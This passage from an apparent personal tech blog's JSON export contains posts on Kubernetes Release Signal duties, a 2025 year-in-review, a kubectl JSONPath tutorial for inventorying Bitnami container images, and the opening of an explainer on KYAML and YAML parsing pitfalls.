(Failing Test) 和偶發性錯誤 (Flaking Test)。\nFailing Test 和 Flaking Test 會分別以紅色和紫色呈現 Failing Test 只要看有持續發生錯誤的測試，那就沒錯了。\n持續性錯誤的測試 Flaking Test 比較不好抓，但這會有很多原因，可能會是 infra issue 或潛在 race condition。\n偶發性錯誤的測試 用 Spyglass 看錯誤詳細訊息 這時候就需要透過 Triage Tool 交叉比對，看看其他 job 的測試是不是有類似原因。\nTriage Tool 比對錯誤訊息 確認錯誤後，根據 SIG Owner 和 Test Owner 通知相關人員，mention 出 SIG Lead 來判斷。\n不過，回報流程很複雜，Release Signal 會先檢查是否已有對應的 issue；若尚未存在，便會建立新的 issue 以利後續追蹤與協作。\nissue 內容通常會描述異常發生的 dashboard、對應的測試項目、首次出現的時間點，以及實際觀察到的錯誤訊息，並在可能的情況下補充初步的背景或推測原因，讓後續接手 triage 的人能快速理解問題脈絡。實際撰寫方式可參考像是 kubernetes/kubernetes#132397 這類範例。\nSource: https://github.com/kubernetes/kubernetes/issues/132397 當確認 CI 訊號需要進一步關注時，Release Signal 會先將狀況回報至 #release-ci-signal。這個頻道作為 Release Team 集中追蹤訊號的入口，訊息通常會包含錯誤類型、具體錯誤訊息、相關的 Prow job，以及目前已知的 triage 狀態，確保其他 SIG 成員能快速掌握背景。\nSource: https://kubernetes.slack.com/archives/CN0K3TE2C/p1750313809531309 由於並非所有 SIG 成員都會即時關注 #release-ci-signal，在確認影響範圍後，Release Signal 也需要將相同訊息轉發至對應的 SIG Slack 頻道，並標記 SIG Lead 或相關 maintainer。以上述 issue 為例，錯誤與 node 行為相關，因此會同步回報至 #sig-node，確保負責該領域的 SIG 成員能及早介入處理。\nSource: https://kubernetes.slack.com/archives/C0BP8PW9G/p1750313932494759 這也是 Release Signal 工作最重的一環，因為回報流程非常繁瑣。這次 release 中我們透過 SignalHound 來簡化這個流程，關於這個工具的由來，後面會再提到。\n3. 給 Branch Management 切版訊號 Go / No-Go # 追蹤這些 Failing Test 和 Flaking Test 後，就要詢問 SIG 或相關成員這會不會是發佈阻礙 (release blocker)。\n這個 cycle 期間會有數次的切版，包含 alpha、beta、rc 等，每次要切版的前 3 天，就要傳訊息到 #release-management 確認能不能切版。基本上需要等對應的 SIG 成員或 lead 出來回覆是否為 release blocker。\nSource: https://kubernetes.slack.com/archives/CJH2GBF7Y/p1750646006158519 4. Bug Triage # 註記 以前有 Bug Triage 組，但現在已經跟 CI Signal 合併成為 Release Signal。\n大約在程式碼凍結 (Code Freeze) 和測試凍結 (Test Freeze) 前 4~5 週，預計要在這次 release 解決的 Issue 或 PR 都會打上 milestone。需要跟該 Issue 相關人員和 PR 作者提醒「我們會在 X 月 X 日 code freeze，請把握時間把相關 PR 打上 /lgtm 和 /approve，如果有需要其他協助請跟我們聯繫。」\n留言提醒 PR 要在 Code Freeze 合併 這期間，也會有其他新的 issue 和 PR 加入 milestone，這部分就要由 Release Signal Lead 去定期確認，確保每個 milestone 的 issue 和 PR 都有被 shadow 追蹤。\n然後 Code Freeze 前 3 ~ 4 天要再傳一次訊息提醒那些有該版本的 milestone 還沒關閉的 Issue 和尚未處理的 PR（不包含已經有 /lgtm 或 /approve），說「已經剩下 X 天就要 code freeze，如果需要延後請發送 Exception 請求」\n最後提醒的 PR 合併 Exception 請求會傳到 Release Lead 團隊，同時該請求的 SIG Lead 也要附議，Release Lead 團隊會評估時程、進度等，給予 APPROVING 或 REJECTING。\nException 請求討論 這時候就有個問題會出現：\n如果今天有很重要錯誤要修正，還會需要附上 Exception 請求嗎？\n不用，程式碼凍結後，PR 除了原本 /lgtm 和 /approve 標籤外，另外需要 milestone 才能合併，這部分 Release Lead 和其他的 sub-team lead 都有加 milestone 權限（或其他 SIG Lead，不過通常會尊重 Release Team 決定）。\n我通常還是會看一下 PR 確定是功能修正或測試修復，沒問題就會打上標籤。\n加入 Milestone v1.35 讓 PR 合併 5. 回報 Release Team 同步會議更新 # 每週三會有 Release Team 會議，分為 APAC 時區和 EMEA 時區，以台灣時間來說，APAC 時區會在下午，EMEA 時區會在半夜。\n因為涉及到跨時區的關係，所以一定要使用行事曆訂閱，以免錯過會議更新。\n大約到第 10 週後，加開 Burndown meeting，分別是星期一和星期五，一樣會有 APAC 時區和 EMEA 時區。最後幾週會有 Slack 非同步更新，全部就在 Slack Channel 回覆。\n這樣看下來，工作內容確實很多，但不會是只有自己一個人，別忘記還有其他國家、時區的工作夥伴，所以不需要擔心工作會做不完。\n從 shadow 成為 sub-team lead 的轉變 # 在 1.34 release 接近尾聲時，我開始以「下一版 Release Signal Lead」的角色參與交接，也因此第一次從 sub-team lead 的視角，完整理解 shadow 選擇所涉及的流程。\n開始選擇 shadow # 每一個 release cycle，每一組的 sub-team 都會收到大量的 shadow 申請。各 sub-team lead 會依照工作型態與需求，提出對應的 shadow 名單。\n名單彙整後，會由 Release Lead 與 Subproject Owner 進行審閱，確保每位 shadow 在同一個 release 週期中只隸屬於一個 sub-team，並同時考量時區分布與實際值班需求。由於 Release Team 的同步會議會有 APAC 與 EMEA 時區，加上 Release Signal 的工作本質需要持續關注 dashboard 與狀態變化，這些條件都會影響最終的成員配置結果。\n確認沒問題後就會由 sub-team lead 發出 Slack 私訊通知，並且準備簡報介紹這組工作內容等，後續協助 shadow onboarding 的流程。\n選定成員後，我讓有經驗的 shadow 去帶領新進的 shadow，有經驗的 shadow 可以獲得教學經驗，未來更容易接手 sub-team lead 的工作。\n與 SIG Release 討論專案捐贈 # 前面提到回報 CI 訊號的流程非常繁瑣，v1.35 的 shadow Amim 在這個 cycle 開發了 SignalHound 來簡化這個流程。當工具逐漸成熟後，我跟 Release Lead 討論將它捐贈到 kubernetes-sigs 組織的可能性，也跟 SIG Release 的 Lead 溝通，最終讓它從個人的 PoC 變成社群共同維護的子專案。\nAmim 有能力寫出工具，但要讓工具進入社群，需要有人在流程面協助推進，而這正是 lead 該做的事。\n讓 shadow 站上舞台 # 另一個我刻意安排的事情是，讓 shadow 輪流在 Release Team 週會上報告 CI signal update。以前這件事通常由 lead 自己做，但我希望每位 shadow 都有機會練習對外溝通、面對其他 sub-team lead 和 Release Lead 回答問題。\n實際做法是依照時區排班，每人負責一到兩週的會議報告，有經驗的 shadow 先上，新進的 shadow 觀摩幾次後再嘗試接手。報告前我會先跟他們檢查內容，確保資訊正確，但不會幫他們講。\n不管是讓資深 shadow 帶人、推動工具捐贈、還是安排輪流報告，目的都一樣：sub-team lead 的工作不是自己把事情做完，而是讓每一位成員都有成長的機會。\n交接給下一位 sub-team lead # Release 接近尾聲的幾週前，sub-team lead 會開始與 shadow 討論下一個 release cycle 的參與方向。常見的選項包含：\n繼續留在原本的 sub-team 承接該組的 lead 角色 參與其他的 sub-team shadow 加入其他的 SIG 貢獻 整理每個 shadow 回饋後，與 Release Lead 和 Subproject Owner 討論後，提名出下一版合適的 sub-team lead 人選，並完成交接。\n推薦誰來當 Release Shadow # Shadow Program 其實就是給新人參與機會，我認為每個想要嘗試貢獻 Kubernetes 但不知道該如何下手，就可以從這裡開始，尤其是學生。\n不過學生就需要注意時間 commitment，就 Release Signal 來說，可以事先填寫各自有薪假 (PTO) 或低活躍度的時間，給 sub-team lead 安排協調。\n以我來說，小公司能學習的內容很有限，程式架構或測試不一定會像 Kubernetes 很複雜，從這些回報 E2E 錯誤和參與過程中，觀摩大型專案如何維護。\n未來面對有新的工作機會，就算實務上沒有經驗，但還是可以根據在 Kubernetes 社群貢獻的觀察，有條理的描述現象和規劃，面試過程中絕對是有加分效益。\n後記 # 最後非常感謝 v1.35 跟我一起奮鬥的 Release Signal 成員（依照英文名字典序排列）：Amim Knabben、Ben Petersen、Keisuke Ishigami、Muhammad Adil Ghaffar、Prajyot Parab、Yun Chi Shih。\n這些內容還只是介紹 Release Team，裡面還有其他有趣的故事呢！\n希望這篇貼文以後，能讓大家了解大型專案的 Release Team 在做什麼，也期待未來台灣人能多參與國際開源技術社群。\n","date":"2026/04/15","externalUrl":null,"permalink":"/posts/k8s-release-team-release-signal/","section":"Posts","summary":"Kubernetes v1.35 終於 release 了，不過你有想過大型專案 Kubernetes 每一個版本背後，都有人在盯著「訊號」是否開始失真嗎？ Release Signal 在做什麼？每天到底在看什麼？\n這篇文章記錄我從 Shadow 走進 Kubernetes Release Team，成為 sub-team lead 的心路歷程，實際參與版本節奏、code freeze、RC 前後的真實日常。\n","title":"Kubernetes Release Team 裡看 Signal：Release Signal 的日常與成長","type":"posts"},{"content":"","date":"2026/04/15","externalUrl":null,"permalink":"/tags/release-signal/","section":"Tags","summary":"","title":"Release Signal","type":"tags"},{"content":"","date":"2026/04/15","externalUrl":null,"permalink":"/tags/release-team/","section":"Tags","summary":"","title":"Release Team","type":"tags"},{"content":"I originally planned to finish my 2025 year-in-review before the Lunar New Year, but ended up writing it two months after.\nThere were just too many things to handle before and after the New Year. Now I finally have time to sit down and document what happened in 2025.\nKubespray Maintainer # Since becoming a reviewer, I\u0026rsquo;ve been diligently reviewing PRs every day. The contributions accumulated over time, and in June this year, I was invited by other approvers to become a Release Manager for Kubespray.\nSource: kubernetes-sigs/kubespray#12281 Earning the approver role also means taking on greater responsibility. I\u0026rsquo;ve seen many contributors around me rush to claim issues, but very few make it to the end. Especially in this era of rapid AI development, having the patience to seriously hone one thing is truly valuable.\nTop Contributing Mentee #8 — Source: The mentorship flywheel: How CNCF is growing the next generation of cloud native leaders According to statistics from the CNCF official blog, approximately 40–65% (about 16–26 people) continue contributing after each mentorship term ends. Ultimately, only about 1–3 become maintainers or approvers. Since 2020, roughly 20 cumulative maintainers have emerged — and of course, I\u0026rsquo;m one of them!\nKCD Taipei 2025 # I served as the lead organizer for KCD Taipei 2025 for the first time, handling many tasks required to host a conference. I even brought back ClashLoopBackOff from abroad for everyone to play. Special thanks to Tony and OCF Singing for their help, as well as fellow community members and volunteers.\nKubernetes Community Day Taipei 2025 group photo It\u0026rsquo;s confirmed that 2026 won\u0026rsquo;t be held under the KCD name, but I hope to build a Kubernetes contributor community in Taiwan in 2026, and return to an official CNCF event in 2027.\nKubernetes Release Team - Release Signal Lead # After nearly a year on the Release Team, I chose to take on the Release Signal Lead position for v1.35.\nSource: kubernetes/sig-release#2849 My Release Lead this time was Drew Hegan, who was also my lead when I first joined as a Release Signal Shadow. I was pleasantly surprised when I took on this role. (After all, I had been guessing who the next Release Lead would be.)\nAs for what stories unfolded in v1.35? I\u0026rsquo;m still writing about it — stay tuned for my reflections!\nFirst Job Change # From my university internship through graduate school and into my first full-time role, I was involved in many IT/SRE tasks. Starting from QEMU + KVM-based Kubernetes clusters, I gradually developed a private cloud cluster built with Proxmox VE and IaC.\nHonestly, leaving my original team was truly bittersweet. The members always supported and learned from each other. I really loved the team atmosphere and am deeply grateful to my manager Patrick for nurturing me into a capable SRE and helping me establish a presence in the Cloud Native space.\nPanel Discussion with Chris Aniszczyk # I was honored to receive an invitation from Cathay\u0026rsquo;s open source group, asking if I\u0026rsquo;d like to attend their open source meetup and participate in a panel discussion with the CNCF CTO.\nCathay Open Source Meetup #2 I sat next to Chris, with Singing — who has been involved in the open source community for a long time — on the other side. I\u0026rsquo;d be lying if I said I wasn\u0026rsquo;t nervous. After all, I\u0026rsquo;ve only been contributing to open source for 3–4 years, while others have been working in or participating in the community for much longer. Why would anyone want to hear what I have to say?\nOn stage with CNCF CTO Chris Aniszczyk But looking at it from a different angle, being a CNCF Ambassador doesn\u0026rsquo;t mean you\u0026rsquo;re the most technically skilled — it means you can serve as a bridge between CNCF, the community, and companies, facilitating dialogue among all three parties to achieve balance. Being honest with yourself and your audience, and expressing your own perspective, is what matters most!\nIT Matter Awards - Open Source Contribution Award # The IT Matter Awards is an event organized by the Information Management Association of the Republic of China. This year they introduced the Open Source Contribution Award for the first time, so I signed up.\nThere was quite a lot of material to prepare. Starting in August, I compiled all my GitHub contribution data from the past 2–3 years for the written review (including finding screenshots and writing narratives — the latter wasn\u0026rsquo;t too difficult since the memories were still fresh). After passing the secondary review, I had to prepare a presentation for the finals in October. The content was essentially a filtered version of the written review, keeping only the images and explaining everything verbally.\nAnd then\u0026hellip;\nIT Matter Awards - Open Source Contribution Award ceremony I was honored to receive the Open Source Contribution Award in its inaugural year. After winning, I still had to prepare a presentation and video wall content for the awards ceremony to showcase our work.\nIT Matter Awards ceremony presentation When I get the chance, I\u0026rsquo;ll share my preparation materials publicly so that anyone interested in applying in the future can reference my contribution path.\nConclusion # To sum up 2025, it was a year of professional breakthroughs. Community engagement also gained meaningful traction. I hope to continue contributing to Kubernetes and keep striving towards becoming a SIG Lead!\n","date":"6 April 2026","externalUrl":null,"permalink":"/en/posts/2025-recap/","section":"Posts","summary":"I originally planned to finish my 2025 year-in-review before the Lunar New Year, but ended up writing it two months after.\n","title":"2025 Year in Review","type":"posts"},{"content":"Personal reflections, career insights, community involvement, and lessons learned along the engineering journey.\n","date":"6 April 2026","externalUrl":null,"permalink":"/en/categories/experiences/","section":"Categories","summary":"","title":"Experiences","type":"categories"},{"content":"","date":"6 April 2026","externalUrl":null,"permalink":"/en/tags/reflection/","section":"Tags","summary":"","title":"Reflection","type":"tags"},{"content":"","date":"2025/08/21","externalUrl":null,"permalink":"/tags/bitnami/","section":"Tags","summary":"","title":"Bitnami","type":"tags"},{"content":"","date":"2025/08/21","externalUrl":null,"permalink":"/tags/jsonpath/","section":"Tags","summary":"","title":"Jsonpath","type":"tags"},{"content":"Bitnami 不再免費提供新版的 production ready 容器映像檔，你的叢集還有多少在使用？這篇文章分享我用 kubectl JSONPath 進行映像檔盤點的流程，快速找出 Bitnami image，並為後續替換與升級做準備。\n前言 # 2025 年 7 月中旬，Bitnami 宣布要把所有的容器映像檔 (image)，包括舊版或版本化的標籤，從公共目錄 (docker.io/bitnami) 移至 Bitnami Legacy 儲存庫 (docker.io/bitnamilegacy)，8 月 28 日以後，公共目錄只會留下 latest 標籤，並停止同步。\n如果只有少量 release (Helm) 在執行，也許可以肉眼檢查一下，或者把現在所有 helm 模板用 grep bitnami 出來就可以；不過這也不一定準確，可能會有沒開啟的 debug 工具也被加入進去。\n但如果面對的是數十座 cluster 和數百台 node，裡面可能有上千個 application 和 pod 要管理，只剩下一星期，要如何有效率盤點又不會出錯呢？\n\u0026hellip;\u0026hellip;你不會跟我說你要用 for 迴圈 + kubectl 把列出來吧？不會吧？\nJSONPath 基本介紹 # JSONPath 是個 JSON 查詢語言，可以把複雜的 JSON 中以字串形式尋找所需資料。\n語法上也沒有到特別複雜，如果寫過 C 語系或 Go Template 系列，原則上都很相似。\n. 或 []：基本上一定會使用到它，例如 .kind 就會去查詢這段 JSON 裡面的 kind 欄位值。 *：用到星號，大多數就是 wildcard，這裡沒有例外，搭配 List 使用的話，例如 .items[*].name，就會把 items 每個元素的 name 列出來。 ?()：括號裡面放條件，用於過濾（注意：kubectl 的 JSONPath 不支援正則表達式，請使用 -o json + jq 替代） range + end：通常想做格式化輸出就會使用，例如 {range .items[*]}{.metadata.name}{\u0026quot;\\n\u0026quot;}{end} 就會把 items 每個元素 metadata.name + 換行的形式做輸出。 剩下更詳細的示範可以看 Kubernetes 官方文件。\n實戰：盤點 Bitnami image # 預先建立好 cluster，裡面包含 apache 和 nginx 的 Bitnami Helm Chart（皆為預設值），還有 my-nginx 和 testrun 分別為 nginx:1.27 和 ubuntu:24.04 的其他資源。\n假設要列出目前有在 Pod 的資源，可以這樣做：\nkubectl get pod -A 輸出範例：\nNAMESPACE NAME READY STATUS RESTARTS AGE default apache-64c48795df-m4kd9 1/1 Running 0 3m22s default my-nginx 1/1 Running 0 42s default nginx-7dd6f7f5fd-zhkrk 1/1 Running 0 2m17s default testrun 1/1 Running 0 54s kube-system cilium-6b6rw 1/1 Running 0 35m kube-system cilium-7mht5 1/1 Running 0 35m kube-system cilium-envoy-8lcqm 1/1 Running 0 35m kube-system cilium-envoy-8xwh8 1/1 Running 0 35m kube-system cilium-envoy-p2xpj 1/1 Running 0 35m kube-system cilium-envoy-q24p5 1/1 Running 0 35m kube-system cilium-k7jml 1/1 Running 0 35m kube-system cilium-operator-5bc4cfbd98-mp4qg 1/1 Running 0 35m kube-system cilium-p64dn 1/1 Running 0 35m kube-system coredns-674b8bbfcf-fssrj 1/1 Running 0 37m kube-system coredns-674b8bbfcf-mx7pf 1/1 Running 0 37m kube-system etcd-jsonpath-control-plane 1/1 Running 0 37m kube-system kube-apiserver-jsonpath-control-plane 1/1 Running 0 37m kube-system kube-controller-manager-jsonpath-control-plane 1/1 Running 0 37m kube-system kube-scheduler-jsonpath-control-plane 1/1 Running 0 37m local-path-storage local-path-provisioner-7dc846544d-w2qx8 1/1 Running 0 37m 如果要完整列出詳細資訊，可以使用 -o yaml 或 -o json。（篇幅限制）\n{ \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;items\u0026#34;: [ { \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;Pod\u0026#34;, \u0026#34;metadata\u0026#34;: { \u0026#34;creationTimestamp\u0026#34;: \u0026#34;2025-08-21T11:37:47Z\u0026#34;, \u0026#34;generateName\u0026#34;: \u0026#34;apache-64c48795df-\u0026#34;, \u0026#34;generation\u0026#34;: 1, \u0026#34;name\u0026#34;: \u0026#34;apache-64c48795df-m4kd9\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, }, \u0026#34;spec\u0026#34;: { \u0026#34;containers\u0026#34;: [ { \u0026#34;image\u0026#34;: \u0026#34;docker.io/bitnami/apache:2.4.65-debian-12-r2\u0026#34;, \u0026#34;imagePullPolicy\u0026#34;: \u0026#34;IfNotPresent\u0026#34;, (truncated....) ], \u0026#34;kind\u0026#34;: \u0026#34;List\u0026#34;, \u0026#34;metadata\u0026#34;: { \u0026#34;resourceVersion\u0026#34;: \u0026#34;\u0026#34; } } 到這裡可以知道，kubectl 用 .items 列出目前的 Pod，裡面當中的 .spec 就是 PodSpec，再往下探勘，就可以看到 .containers，因為一個 Pod 可以有數個 container，每個 container 都會有 .image，那就是需要的資料了。\n這樣就可以依照條件，寫出一份：\nkubectl get pod -A -o jsonpath=\u0026#34;{.items[*].spec.containers[*].image}\u0026#34; 輸出範例：\ndocker.io/bitnami/apache:2.4.65-debian-12-r2 nginx:1.27 docker.io/bitnami/nginx:1.29.1-debian-12-r0 ubuntu:24.04 quay.io/cilium/cilium:v1.17.4@sha256:24a73fe795351cf3279ac8e84918633000b52a9654ff73a6b0d7223bcff4a67a quay.io/cilium/cilium:v1.17.4@sha256:24a73fe795351cf3279ac8e84918633000b52a9654ff73a6b0d7223bcff4a67a quay.io/cilium/cilium-envoy:v1.32.6-1746661844-0f602c28cb2aa57b29078195049fb257d5b5246c@sha256:a04218c6879007d60d96339a441c448565b6f86650358652da27582e0efbf182 quay.io/cilium/cilium-envoy:v1.32.6-1746661844-0f602c28cb2aa57b29078195049fb257d5b5246c@sha256:a04218c6879007d60d96339a441c448565b6f86650358652da27582e0efbf182 quay.io/cilium/cilium-envoy:v1.32.6-1746661844-0f602c28cb2aa57b29078195049fb257d5b5246c@sha256:a04218c6879007d60d96339a441c448565b6f86650358652da27582e0efbf182 quay.io/cilium/cilium-envoy:v1.32.6-1746661844-0f602c28cb2aa57b29078195049fb257d5b5246c@sha256:a04218c6879007d60d96339a441c448565b6f86650358652da27582e0efbf182 quay.io/cilium/cilium:v1.17.4@sha256:24a73fe795351cf3279ac8e84918633000b52a9654ff73a6b0d7223bcff4a67a quay.io/cilium/operator-generic:v1.17.4@sha256:a3906412f477b09904f46aac1bed28eb522bef7899ed7dd81c15f78b7aa1b9b5 quay.io/cilium/cilium:v1.17.4@sha256:24a73fe795351cf3279ac8e84918633000b52a9654ff73a6b0d7223bcff4a67a registry.k8s.io/coredns/coredns:v1.12.0 registry.k8s.io/coredns/coredns:v1.12.0 registry.k8s.io/etcd:3.5.21-0 registry.k8s.io/kube-apiserver:v1.33.1 registry.k8s.io/kube-controller-manager:v1.33.1 registry.k8s.io/kube-scheduler:v1.33.1 docker.io/kindest/local-path-provisioner:v20250214-acbabc1a 接下來就可以整理（tr、sort、uniq、grep）這些 image：\nkubectl get pod -A -o jsonpath=\u0026#34;{.items[*].spec.containers[*].image}\u0026#34; | tr \u0026#34; \u0026#34; \u0026#34;\\n\u0026#34; | sort | uniq 輸出範例：\ndocker.io/bitnami/apache:2.4.65-debian-12-r2 docker.io/bitnami/nginx:1.29.1-debian-12-r0 docker.io/kindest/local-path-provisioner:v20250214-acbabc1a nginx:1.27 quay.io/cilium/cilium-envoy:v1.32.6-1746661844-0f602c28cb2aa57b29078195049fb257d5b5246c@sha256:a04218c6879007d60d96339a441c448565b6f86650358652da27582e0efbf182 quay.io/cilium/cilium:v1.17.4@sha256:24a73fe795351cf3279ac8e84918633000b52a9654ff73a6b0d7223bcff4a67a quay.io/cilium/operator-generic:v1.17.4@sha256:a3906412f477b09904f46aac1bed28eb522bef7899ed7dd81c15f78b7aa1b9b5 registry.k8s.io/coredns/coredns:v1.12.0 registry.k8s.io/etcd:3.5.21-0 registry.k8s.io/kube-apiserver:v1.33.1 registry.k8s.io/kube-controller-manager:v1.33.1 registry.k8s.io/kube-scheduler:v1.33.1 ubuntu:24.04 用 grep 找出 Bitnami 字串：\nkubectl get pod -A -o jsonpath=\u0026#34;{.items[*].spec.containers[*].image}\u0026#34; | tr \u0026#34; \u0026#34; \u0026#34;\\n\u0026#34; | sort | uniq | grep bitnami 輸出範例：\ndocker.io/bitnami/apache:2.4.65-debian-12-r2 docker.io/bitnami/nginx:1.29.1-debian-12-r0 這樣下來，是不是心裡比較踏實，而且還更有效率？\n不過 kubectl 的 JSONPath 目前不支援正則表達式，所以如果想要使用的話，就用 jq 來處理吧！\nkubectl get pod -A -o json | jq -r \u0026#39;.items[].spec.containers[].image | select(test(\u0026#34;bitnami\u0026#34;))\u0026#39; | sort | uniq 除了盤點 Bitnami Image 以外，如果想要知道目前基礎架構所使用的 Docker Image 有無安全漏洞，列出來後就可以送到 trivy 或其他 container 弱掃工具，統計哪些 Deployment 的 replica 大於 5 個，甚至想要知道 Pod 狀態數量，搭配 bash 指令，就能簡易算出結果。\n結論 # 後續就能從 workload（e.g. Deployment、Statefulset、Cronjob 等）修改，不過這是後話了，先盤點正在使用的 Image，對 workload 上 patch 修正（e.g. 字串替換）只是小事。\nCRD 控制 workload 呢？請閱讀 CRD 給的對應 API 在哪，原則上都大同小異。\nkubectl 的 output 大家比較常用的是 wide、json、yaml，當別人還在寫 for 迴圈慢慢 grep 過濾查詢，碰到大量資料或複雜的規則，最終結果還可能會出現偏差，只要學會 JSONPath 或 jq 並搭配 bash 指令，就能寫出更簡單明瞭的方法！\n","date":"2025/08/21","externalUrl":null,"permalink":"/posts/jsonpath-introduction/","section":"Posts","summary":"Bitnami 不再免費提供新版的 production ready 容器映像檔，你的叢集還有多少在使用？這篇文章分享我用 kubectl JSONPath 進行映像檔盤點的流程，快速找出 Bitnami image，並為後續替換與升級做準備。\n","title":"Kubectl JSONPath 實戰：Kubernetes 盤點 Bitnami 映像檔與查詢技巧","type":"posts"},{"content":"","date":"31 July 2025","externalUrl":null,"permalink":"/en/tags/kubectl/","section":"Tags","summary":"","title":"Kubectl","type":"tags"},{"content":"","date":"31 July 2025","externalUrl":null,"permalink":"/en/tags/kyaml/","section":"Tags","summary":"","title":"Kyaml","type":"tags"},{"content":"While carrying out some routine Release Signal tasks recently, I stumbled upon a PR titled KYAML. Is the Kubernetes community trying to create another YAML standard? Or is there something special about it?\nThis article is in English. For the Traditional Chinese version, please click here.\n本篇文章為英文版本，繁體中文版本請點擊這裡。 Today, let’s take a look at KEP-5295: Introducing KYAML, a safer, less ambiguous YAML subset / encoding!\nThis post was written on July 31, 2025, and is based on this specific commit. Why was this KEP proposed? # Anyone who has actually worked with Kubernetes—whether you’re in a DevOps or SRE role—has probably been jokingly called a YAML engineer at some point.\nBeyond understanding core concepts like Pods, Deployments, and Nodes, one thing you’re guaranteed to deal with is YAML (YAML Ain’t a Markup Language).\nWhile YAML is widely used for writing these configuration files, it turns out that its original design has some flaws.\nSo, what exactly is wrong with YAML? # One of the most well-known issues in YAML is The Norway Problem. You can try out the following examples on the Online YAML Parser.\ncountries: - GB - IE - FR - DE This YAML converts to JSON like this:\n{\u0026#34;countries\u0026#34;: [\u0026#34;GB\u0026#34;, \u0026#34;IE\u0026#34;, \u0026#34;FR\u0026#34;, \u0026#34;DE\u0026#34;]} Looks fine so far. Now let’s add Norway:\ncountries: - GB - IE - FR - DE - NO Logically, the resulting JSON should look like:\n{\u0026#34;countries\u0026#34;: [\u0026#34;GB\u0026#34;, \u0026#34;IE\u0026#34;, \u0026#34;FR\u0026#34;, \u0026#34;DE\u0026#34;, \u0026#34;NO\u0026#34;]} But in reality, it becomes:\n{\u0026#34;countries\u0026#34;: [\u0026#34;GB\u0026#34;, \u0026#34;IE\u0026#34;, \u0026#34;FR\u0026#34;, \u0026#34;DE\u0026#34;, false]} At this point, you’re probably making this face:\nAs explained in the YAML 1.1 specification:\nYAML allows scalar content to be presented in several formats. For example, the boolean “true” might also be written as “yes”.\nIn other words, this isn’t a bug—it’s a feature. Something like Yes, which seems like a string, is interpreted as a boolean true.\nYAML 1.2 later removed these rules, but here’s the catch: version 1.2.0 was published on July 21, 2009. At the time of writing (2025), tools like Online YAML Parser still convert NO into false, which shows how uneven support still is across different YAML parsers.\nThese kinds of implicit conversions are common. Take this example:\n- just: 4_________2__ - yaml: 11:00 When converted to JSON, you get:\n[ { \u0026#34;just\u0026#34;: 42 }, { \u0026#34;yaml\u0026#34;: 660 } ] 4_________2__ is interpreted as a number, and 11:00 is also parsed as a number (in base-60). While double quotes are optional for strings, they can be crucial in certain situations.\nWhat about alternatives? JSON should work, right? # Anyone who has written an operator knows that Kubernetes definitely supports JSON. However, JSON has a major drawback: it doesn’t support comments.\nFor machine-to-machine data exchange, this usually isn’t a big deal. But when it comes to user-facing configuration, the inability to add comments significantly hurts maintainability.\nOn top of that, many tools (e.g., Helm) are built around YAML. So instead of switching everything to JSON, it makes more sense to focus on making YAML stricter and safer.\nThat’s why some developers came up with the idea of KYAML!\nGoals and Non-Goals of KYAML # At first glance, it might seem like KYAML aims to overhaul everything and establish a brand-new standard. That’s partially true—but also not quite.\nLet’s first take a look at the original list of goals:\nSpecify a YAML dialect which is 100% compatible with existing parsers and tooling. Provide libraries and tooling for encoding and converting to this formatting, with stable (idempotent) conversion. Provide a KYAML output format for kubectl. Update examples and documentation throughout the project. Address common YAML pitfalls through an opinionated formatting approach. Document the design and reasons for KYAML and the 100% compatibility with tooling expecting arbitrary YAML. And here’s the original list of non-goals:\nIntroduce alternative configuration languages that are not compatible with existing tooling. Server-side support for KYAML distinct from what we support in YAML already. Require projects to migrate to KYAML by default. Change the YAML library used by Kubernetes. Let’s start with what’s true, beginning with the fifth goal:\nAddress common YAML pitfalls through an opinionated formatting approach.\nThe idea is to address common YAML issues through an opinionated formatting approach. For example, the Norway Problem mentioned earlier, where NO, which should be a string, is implicitly converted to the boolean false.\nAs for what’s not quite right, you can still see it in the first and sixth goals:\nSpecify a YAML dialect which is 100% compatible with existing parsers and tooling. Document the design and reasons for KYAML and the 100% compatibility with tooling expecting arbitrary YAML.\nKYAML must be 100% compatible with designated or existing YAML parsers and tools. Technically, KYAML does not replace YAML nor establish a new standard. You can find related explanations later in the Drawbacks section:\nYet another standard. Rebuttal: KYAML is YAML and users can provide vanilla YAML anywhere that can accept KYAML.\nBesides that, it’s not just about the output format. See the second and fourth goals:\nProvide libraries and tooling for encoding and converting to this formatting, with stable (idempotent) conversion. Update examples and documentation throughout the project.\nKYAML will provide conversion libraries and tools, and it will also convert existing YAML examples in documentation into KYAML.\nNext, let’s look at the Non-Goals section—it’s quite interesting. Check out points two and four:\nServer-side support for KYAML distinct from what we support in YAML already. Change the YAML library used by Kubernetes.\nWait a minute—if KYAML is supposed to be used, why does it say server-side support won’t be provided? And why won’t Kubernetes’ existing YAML libraries be changed?\nWhen I first read this, it felt really contradictory. But after some reflection, it makes sense: server-side doesn’t need to support it. Going back to the first and sixth goals, KYAML must be compatible with designated or existing YAML parsers and tools, so there’s no need to write a special parser for server-side.\nNow that we understand the motivation, let’s dive into the actual proposal and design!\nProposal # Here is the original text on how the KEP proposes to solve YAML issues:\nAlways double-quoting value strings (no ambiguity around things like \u0026ldquo;NO\u0026rdquo;). Unquoted keys, unless they are not obviously \u0026ldquo;safe\u0026rdquo; (e.g. \u0026ldquo;no\u0026rdquo; would always be quoted). Always using {} for structs and maps (no more obscure errors about mapping values). Always using [] for lists (no more trying to figure out if a dash changes the meaning). All strings are always enclosed in double quotes. Keys in key-value pairs generally do not have quotes (unless they are clearly unsafe, like no). Use {} to represent all structs and maps, and [] to represent all lists.\nCombining these ideas, KYAML is not whitespace-sensitive. These formats return to flow style rather than the commonly used block style in YAML.\nAt this point, you might think: “Isn’t this just JSON?” Congratulations, yes it is! The differences from JSON are:\nAllows comments (when authored by users). Allows trailing commas on the last item in a list or struct/map. Does not require quoted keys. You can write comments, add trailing commas in maps or structs, and you don’t need to quote every key.\nIf every struct or map must have {}, here comes the problem—see the following:\n{ # this is the deck service \u0026#34;apiVersion\u0026#34;: \u0026#34;v1\u0026#34;, \u0026#34;kind\u0026#34;: \u0026#34;Service\u0026#34;, \u0026#34;metadata\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;deck\u0026#34;, \u0026#34;namespace\u0026#34;: \u0026#34;default\u0026#34;, }, \u0026#34;spec\u0026#34;: { \u0026#34;selector\u0026#34;: { \u0026#34;app\u0026#34;: \u0026#34;deck\u0026#34;, }, \u0026#34;ports\u0026#34;: [ { \u0026#34;port\u0026#34;: 80, 